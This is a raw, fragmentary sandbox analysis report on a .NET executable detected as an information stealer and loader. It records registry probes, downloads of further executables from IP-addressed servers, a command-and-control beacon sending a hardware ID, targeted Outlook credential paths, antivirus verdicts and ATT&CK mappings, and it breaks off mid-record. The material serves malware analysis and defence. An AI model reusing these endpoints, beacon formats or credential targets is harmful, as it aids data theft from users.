"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "")8f:T79d,"GET /cpa/ping.php?substr=four&s=ab&sub=0 HTTP/1.1 Host: 185.172.128.90 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Response ==> HTTP/1.1 200 OK Date: Thu 21 Mar 2024 12:39:47 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /syncUpd.exe HTTP/1.1 Host: 185.172.128.187 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Response ==> HTTP/1.1 200 OK Date: Thu 21 Mar 2024 12:39:48 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu 21 Mar 2024 12:30:01 GMT ETag: "3fc00-6142addc16e25" Accept-Ranges: bytes Content-Length: 261120 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /ping.php?substr=four HTTP/1.1 Host: 185.172.128.187 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Response ==> HTTP/1.1 200 OK Date: Thu 21 Mar 2024 12:39:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8 with response body ==>....... "GET /BroomSetup.exe HTTP/1.1 Host: 185.172.128.126 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Response ==> HTTP/1.1 200 OK Date: Thu 21 Mar 2024 12:39:59 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Fri 15 Mar 2024 11:59:56 GMT ETag: "4a4030-613b1bf118700" Accept-Ranges: bytes Content-Length: 4866096 Content-Type: application/x-msdos-program with response body ==>4D5A50000200000004000F00FFFF0000B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000010000.......90:T5da,Observed system executable string:"%WINDIR%\system32\lsm.exe" [Source: 00000000-00003624-00000C25-105319204] Observed system executable string:"%WINDIR%\system32\vm3dservice.exe" [Source: 00000000-00003624-00000C25-106038769] Observed system executable string:"%WINDIR%\system32\svchost.exe" [Source: 00000000-00003624-00000C25-106340758] Observed system executable string:"%WINDIR%\System32\svchost.exe" [Source: 00000000-00003624-00000C25-107052500] Observed system executable string:"%WINDIR%\System32\msdtc.exe" [Source: 00000000-00003624-00000C25-107895068] Observed system executable string:"%WINDIR%\system32\taskhost.exe" [Source: 00000000-00003624-00000C25-109646535] Observed system executable string:"%WINDIR%\system32\wbem\WmiApSrv.exe" [Source: 00000000-00003624-00000C25-110494300] Observed system executable string:"%WINDIR%\system32\dllhost.exe" [Source: 00000000-00003624-00000C25-110801673] Observed system executable string:"%WINDIR%\system32\wbem\wmiprvse.exe" [Source: 00000000-00003624-00000C25-113389981] Observed system executable string:"%WINDIR%\system32\Dwm.exe" [Source: 00000000-00003624-00000C25-113927666] Observed system executable string:"%WINDIR%\system32\winlogon.exe" [Source: 00000000-00003624-00000C25-114897103] Observed system executable string:"%WINDIR%\System32\spoolsv.exe" [Source: 00000000-00003624-00000C25-115186697] Observed system executable string:"%WINDIR%\servicing\TrustedInstaller.exe" [Source: 00000000-00003624-00000C25-115729345]91:Td45,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00003748-00000C25-39993880] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003748-00000C25-40180917] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003748-00000C25-40772310] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003748-00000C25-41029866] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003748-00000C25-41259693] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003748-00000C25-41317677] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00003748-00000C25-41442024] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003748-00000C25-41617214] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003748-00000C25-41668202] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00003748-00000C25-41840645] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00003748-00000C25-41873083] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00003748-00000C25-41907500] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003748-00000C25-41965095] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003748-00000C25-42118708] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00003488-00000C25-51802634] Observed system executable string:"%WINDIR%\system32\sfc_os.dll" [Source: 00000000-00003012-00000C25-48893339] Observed system executable string:"%WINDIR%\system32\SSPICLI.DLL" [Source: 00000000-00003012-00000C25-48929181] Observed system executable string:"%WINDIR%\system32\rsaenh.dll" [Source: 00000000-00003012-00000C25-48963545] Observed system executable string:"%WINDIR%\system32\UXTheme.dll" [Source: 00000000-00003012-00000C25-48998660] Observed system executable string:"%WINDIR%\system32\dwmapi.dll" [Source: 00000000-00003012-00000C25-49056550] Observed system executable string:"%WINDIR%\system32\cryptbase.dll" [Source: 00000000-00003012-00000C25-49091275] Observed system executable string:"%WINDIR%\system32\riched20.dll" [Source: 00000000-00003012-00000C25-49223448] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00003012-00000C25-49856593] Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00003012-00000C25-52348811] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00003012-00000C25-53363312]92:T412,Found string "POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.172.128.209Content-Length: 215Connection: Keep-AliveCache-Control: no-cache------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="hwid"2039C540C46F1350827015------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="build"default6------GDAAKKEHDHCAAAKFCBAK--"; File: "PCAP") Found string "Content-Disposition: form-data; name=""; Source: "00000000-00002012.00000000.67237.00299000.00000004.mdmp 00000000-00002012.00000001.67447.00299000.00000004.mdmp"), Found string "Content-Type: multipart/form-data; boundary=----"; Source: "00000000-00002012.00000000.67237.00299000.00000004.mdmp 00000000-00002012.00000001.67447.00299000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="hwid""; Source: "00000000-00002012.00000001.67447.00299000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="build""; Source: "00000000-00002012.00000001.67447.00299000.00000004.mdmp")93:T5d9,"EasyAppns.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "872483475" "cx": "1" "cy": "1"} "EasyAppns.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "369167241" "cx": "1" "cy": "1"} "EasyAppns.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "956370296" "cx": "527" "cy": "25"} "EasyAppns.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "906037100" "cx": "16" "cy": "16"} "april.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "956370296" "cx": "0" "cy": "25"} "april.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "436273749" "cx": "16" "cy": "16"} "april.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "436273749" "cx": "0" "cy": "25"} "april.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "956370296" "cx": "16" "cy": "16"} "april.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "906037100" "cx": "320" "cy": "30"} "april.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "956370296" "cx": "52" "cy": "39"} "april.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "956370296" "cx": "320" "cy": "25"} "april.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "956370296" "cx": "503" "cy": "25"} "april.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "906037100" "cx": "503" "cy": "25"} "april.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "956370296" "cx": "32" "cy": "32"}94:Tbf4,"288c47bbc1871b439df19ff4df68f000766.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00003748) "288c47bbc1871b439df19ff4df68f000766.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00003748)95:T4f2,"Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00002012.00000000.67237.00299000.00000004.mdmp 00000000-00002012.00000001.67447.00299000.00000004.mdmp "Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00002012.00000000.67237.00299000.00000004.mdmp 00000000-00002012.00000001.67447.00299000.00000004.mdmp "\Outlook\accounts.txt" in Source: 00000000-00002012.00000000.67237.00299000.00000004.mdmp 00000000-00002012.00000001.67447.00299000.00000004.mdmp "Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00002012.00000000.67237.00299000.00000004.mdmp 00000000-00002012.00000001.67447.00299000.00000004.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00002012.00000000.67237.00299000.00000004.mdmp 00000000-00002012.00000001.67447.00299000.00000004.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00002012.00000000.67237.00299000.00000004.mdmp 00000000-00002012.00000001.67447.00299000.00000004.mdmp96:T623,"POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAK Host: 185.172.128.209 Content-Length: 215 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------GDAAKKEHDHCAAAKFCBAK Content-Disposition: form-data; name="hwid" 2039C540C46F1350827015 ------GDAAKKEHDHCAAAKFCBAK Content-Disposition: form-data; name="build" default6 ------GDAAKKEHDHCAAAKFCBAK--" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 21 Mar 2024 12:40:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 8 Connection: keep-alive with response body ==>596D78765932733D....... "POST /__svc/sbv/DownloadManager.ashx HTTP/1.0 Connection: keep-alive Content-Length: 300 Host: svc.iolo.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: identity User-Agent: Mozilla/3.0 (compatible; Indy Library)" with payload::==> "/eZBs+BlQFXq0YdKO1rWGqWsiB01h7s2eWmbjvkkY18VwDDVH6zjk/vU9b4UjZNNsnCZ4txPeOFZrse47gh7IbaYXehNjPjmlV5hXSHRPqL3vlUAuP7t7AtOvWPmtLqg7wmBwkgPjOj8B4F72MLETWFPQmK6rqOoTjNJduy280g4Ql8mh8g4NgHRV6d/DfeJDVyQHC3RQOF5LYJIAVf3SlzqXi/x5cmFzPHbpWm533jicA+au0eoILOzZE6XWNWOC8Z6nDqRWWYTOBPeQHOKC6Z7yqTxhLIGrpnaD/OzHJg=" HTTP/1.1 200 OK cache-control: private content-length: 256 content-type: text/html; charset=utf-8 x-whom: Ioloweb6 date: Thu 21 Mar 2024 12:40:14 GMT set-cookie: SERVERID=svc6; path=/ connection: close with response body ==>4C31723042416457556C626635626863594D37416E2B68456E63533536564C753873514B50343370424F3049524F577A3554366747546C79333044446A396F30.......18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"schema_version":"1.0.15","sha256":"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790331113854,"unified_at":"2026-09-25T10:11:53.854Z","metadata":{"hashes":{"sha256":"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3","sha1":"a7d8c4fd57463ebe20952a0ddb25d647da700cc3","md5":"5eb23b5f7ea35da055fbf010ae00e01f","sha512":"2cbfb3cf57dca8956b8ef767e3b01a279d98cc3712d5722ca86d105a67deb5f5204a2ecfc0dce6c6d6aa50b13e6d48ef442a1657acc40b4ca249d950f7683096","ssdeep":"196608:0+M64O/0Epz4AQ8QFP3cGMTj4tiOskrwgrfHWB:1LPpzgz4grf","ssdeep_chunks":["196608:0+M64O/","196608:+M64O/0","196608:M64O/0E","196608:64O/0Ep","196608:4O/0Epz","196608:O/0Epz4","196608:/0Epz4A","196608:0Epz4AQ","196608:Epz4AQ8","196608:pz4AQ8Q","196608:z4AQ8QF","196608:4AQ8QFP","196608:AQ8QFP3","196608:Q8QFP3c","196608:8QFP3cG","196608:QFP3cGM","196608:FP3cGMT","196608:P3cGMTj","196608:3cGMTj4","196608:cGMTj4t","196608:GMTj4ti","196608:MTj4tiO","196608:Tj4tiOs","196608:j4tiOsk","196608:4tiOskr","196608:tiOskrw","196608:iOskrwg","196608:Oskrwgr","196608:skrwgrf","196608:krwgrfH","196608:rwgrfHW","196608:wgrfHWB","393216:0+M64O/","393216:+M64O/0","393216:M64O/0E","393216:64O/0Ep","393216:4O/0Epz","393216:O/0Epz4","393216:/0Epz4A","393216:0Epz4AQ","393216:Epz4AQ8","393216:pz4AQ8Q","393216:z4AQ8QF","393216:4AQ8QFP","393216:AQ8QFP3","393216:Q8QFP3c","393216:8QFP3cG","393216:QFP3cGM","393216:FP3cGMT","393216:P3cGMTj","393216:3cGMTj4","393216:cGMTj4t","393216:GMTj4ti","393216:MTj4tiO","393216:Tj4tiOs","393216:j4tiOsk","393216:4tiOskr","393216:tiOskrw","393216:iOskrwg","393216:Oskrwgr","393216:skrwgrf","393216:krwgrfH","393216:rwgrfHW","393216:wgrfHWB","196608:1LPpzgz","196608:LPpzgz4","196608:Ppzgz4g","196608:pzgz4gr","196608:zgz4grf"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"288c47bbc1871b439df19ff4df68f000766.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":7579648,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1711019754000,"last_seen":1753524431000,"last_multi_scan":1753524431000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["mixloader","commodity","loader","broom","credentialharvesting","lummastealer","criminal","informationstealer","stealc","downloader","evasive","infostealer"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":101},"sandbox_signatures":{"informative_count":324,"suspicious_count":23,"malicious_count":14,"total":361},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1365025","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Jalapeno.293","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Jalapeno.293 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Agent.UZA trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"VirTool/MSIL.Obfuscator.su","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Ransomware ( 005a8b921 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXOO-YN!5EB23B5F7EA3","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.ShortLoader.kkukvh","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/ILAgent-I","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Kryptik.FFY.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.VKF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.Injector.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_39.2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.Win32.3898690","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Jalapeno.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Executes WMI queries"},{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Executes WMI queries known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"malicious","value":"Calls an API typically used to execute an application"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Connects to LPC ports"},{"type":"informative","value":"Contains ability to create named pipes for inter-process communication 